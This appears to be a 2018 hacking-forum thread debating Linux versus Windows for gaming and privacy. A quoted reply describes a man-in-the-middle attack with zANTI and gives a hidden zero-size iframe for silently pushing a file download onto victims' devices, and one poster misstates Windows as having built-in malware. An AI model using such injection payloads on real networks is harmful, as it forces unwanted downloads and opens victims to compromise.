Takehito Morokuzu - November 19, 2018, 12:25 am

(Nov 18, 2018 10:25 AM)mycatisadog Wrote: [\[CITE\]](#) There are about 253463496835682400852304t68203482036023843 linux distros, you can't possibly say that you've tried all of them and none are usable

Nah but I tried the most popular ones like Ubuntu and Linux mint for example

(Nov 18, 2018 03:30 PM)Mix3rz Wrote: [\[CITE\]](#) Are you sure your gtx 1080 is a legit card and not one of them flashed bios cards from china :D

Yeah, it runs butter smooth on Windows and I can run most games on ultra settings at above 60fps. I've compared my card to benchmarks and I get around the same fps. In games I get slightly lower due to my cpu being a slight bottleneck when the fps gets higher than 100 in AAA games but that's it.

I've tried Linux on both low end systems and high end systems and it runs the same. The animations feel very laggy and the performance is not up to scratch. I've tried Linux on like 5 different pcs. So it's not like I haven't tried to get it working smoothly haha.

mycatisadog - November 19, 2018, 12:27 am

(Nov 19, 2018 01:25 AM)-yuno gasai- Wrote: [\[CITE\]](#) Nah but I tried the most popular ones like Ubuntu and Linux mint for example

Yeah, it runs butter smooth on Windows and I can run most games on ultra settings at above 60fps.

I've compared my card to benchmarks and I get around the same fps. In games I get slightly lower due to my cpu being a slight bottleneck when the fps gets higher than 100 in AAA games but that's it.

I've tried Linux on both low end systems and high end systems and it runs the same. The animations feel very laggy and the performance is not up to scratch. I've tried Linux on like 5 different pcs. So it's not like I haven't tried to get it working smoothly haha.

If so you tried ubuntu and ubuntu derivative, try fedora, arch, cent os etc

ApexChill666 - November 19, 2018, 10:38 am

The idea of Linux is its free and anyone can change it, and its popular for the freedom inherent in its code.

Windows exists to track you.

I trust the code I can see =)

JustForLaughs - November 19, 2018, 10:46 am

Everyone yeslls conspiracy tehroy!! conspiracy theory!!! while the fuckin motherfuckers get away

ApexChill666 - November 19, 2018, 10:49 am

All american companies cooperate with feds, therefore cant be trusted.

Linux is free from governmental restraints =)

Articulate - November 19, 2018, 11:15 am

I can't be the only one that came here to read everyone's comment. Quite interesting to read them tbh.

BloodCyka - November 19, 2018, 11:16 am

(Nov 19, 2018 12:15 PM)Articulate Wrote: [\[CITE\]](#) I can't be the only one that came here to read everyone's comment. Quite interesting to read them tbh.

i just did the same, lol readign this from unix based system :D

Articulate - November 19, 2018, 11:17 am

(Nov 19, 2018 12:16 PM)BloodCyka Wrote: [\[CITE\]](#) i just did the same, lol readign this from unix based system :D

Thank god, I thought i was the only one ?

Goku - November 19, 2018, 12:39 pm

(Nov 19, 2018 01:27 AM)mycatisadog Wrote: [\[CITE\]](#) If so you tried ubuntu and ubuntu derivative, try fedora, arch, cent os etc

How can you be that dense? Linux is not optimized for his use. You can say any distro that you want but it ain't gonna run Black Ops 4 or Warframe or any other triple-A games smoothly.

Yes, it's open source, yes it's less vulnerable but for fuck sake Linux is not for everything, like how C#, HTML, javascript and any other programming language has different use-cases. Each has his own use and Linux is NOT FOR GAMING OR PHOTO OR VIDEO EDITING.

WageWolf - November 19, 2018, 4:01 pm

(Nov 19, 2018 01:39 PM)IKIGAI Wrote: [\[CITE\]](#) How can you be that dense? Linux is not optimized for his use. You can say any distro that you want but it ain't gonna run Black Ops 4 or Warframe or any other triple-A games smoothly.

Yes, it's open source, yes it's less vulnerable but for fuck sake Linux is not for everything, like how C#, HTML, javascript and any other programming language has different use-cases. Each has his own use and Linux is NOT FOR GAMING OR PHOTO OR VIDEO EDITING.

Yeah exactly, sucks that we can't, but windows is fine ig.

a323109 - November 21, 2018, 1:29 pm

(Nov 17, 2018 11:17 PM)Mr. Robot Wrote: [\[CITE\]](#) I can guarantee you right now you don't need anything other than a MiTM connection and then to inject custom script into each web page visited. You can do this using anything even as skiddy as zANTI on a mobile device. You do however need the certificate if you plan on anything else.

I can guarantee you right now if you have a rooted android - download zANTI, run MiTM attack ignoring SSL to avoid any connection issues but turn on inject custom command. Pop in something as simple as

Code `<iframe src="linktodirectdownloadimage" style="width:0;height:0;border:0;border:none;"></iframe>`

And it will download your direct link to their device. This isn't exploiting it however and giving you access but from there it's easy to obtain a hook even on the most updated of both windows and linux.

I'm not going to sit here and call you stupid for not knowing it was possible through SSL but it is. It's something anyone can try right now and it will work. You aren't requesting data through the certificate only allowing the connection to pickup your requested code.

All right

I give you my ip and i stay online all night long. Can you grab files from my computer?

No, you cant.

End of the story

Gt403cyl - November 21, 2018, 2:14 pm

(Nov 16, 2018 12:23 PM)ApexChill666 Wrote: [\[CITE\]](#) About CALE, MiTM at ISP level, true, Windows has premade exploits (NSAKEY_, Blackshades, Logging, and more)

Is it just me or are they inferring Blackshades is premade built-in to the Windows OS?

Like um.....